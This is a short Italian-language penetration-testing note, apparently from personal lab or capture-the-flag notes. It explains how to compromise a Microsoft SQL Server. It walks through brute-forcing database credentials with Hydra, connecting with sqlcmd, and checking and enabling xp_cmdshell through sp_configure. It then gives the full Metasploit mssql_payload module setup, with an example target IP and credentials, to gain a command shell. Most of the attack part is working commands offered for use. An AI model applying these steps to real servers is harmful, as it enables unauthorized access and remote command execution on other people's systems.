tags: database mssql exploit metasploit shell mssql_shell


Quando durante la fase di enumerazione o di riconoscimento della macchina si vede un servizio MSSQL possiamo provare a vedere se è vulnerabile ad un exploit presente in Metasploit. Per poter utilizzare questo exploit purtroppo dobbiamo prima avere le credenziali di accesso al database, un software che ci può aiutare a trovare almeno il nome del database potrebbe essere Power View dove puoi trovare una guida su come utilizzarlo alla pagina Enumerazione tramite PowerView. Una volta trovato il nome del database possiamo trovare la password tramite un attacco a dizionario tramite Hydra. Una volta ottenute le credenziali di accesso possiamo provare a conneterci al server per vedere se la funzione shell è attiva, per collegarci possiamo utilizzare il seguente comando:

 
sqlcmd -S <IP_server>,<Porta> -U <username> -P <password>
 

Una volta entrati nel database inseriamo questa query:

 
SELECT name, CONVERT(INT, ISNULL(value, value_in_use)) AS IsConfigured FROM sys.configurations WHERE name='xp_cmdshell';
 

Questa query ci dice se la xp_cmdshell è attiva, in caso ci restituisca 1 significa che è attiva, se restituisce 0 significa che è inattiva.

Ora in caso fosse attiva possiamo uscire ed aprire una console di Metasploit, una volta dentro cerchiamo l’exploit:

 
search exploit/windows/mssql/mssql_payload
 
use exploit/windows/mssql/mssql_payload
 
 
  • set RHOST 10.10.1.30
  • set USERNAME SQL_srv
  • set PASSWORD batman
  • set DATABASE master # Questo nome lo trovi quando ti colleghi al database

Una volta messi tutti i parametri possiamo lanciare l’exploit che di darà una shell con i privilegi del database.

nota

Una volta eseguito l’exploit digita shell per ottenere la shell altrimenti non ti fa eseguire nessun comando.

Credenziali Invalide

Se ti dice che le credenziali non sono valide quando in realtà lo sono prova ad aggiungere questo comando:

set USE_WINDOWS_AUTHENT true

Nel caso fosse disabilitato ma siamo sysadmin

Nel caso questa funzione fosse disabilitata, ma avessi i privilegi sysadmin potresti comunque abilitarla con i seguenti comandi:

 
#Abilita le opzioni avanzate
 
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
 
#Abilita xp_cmdshell
 
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;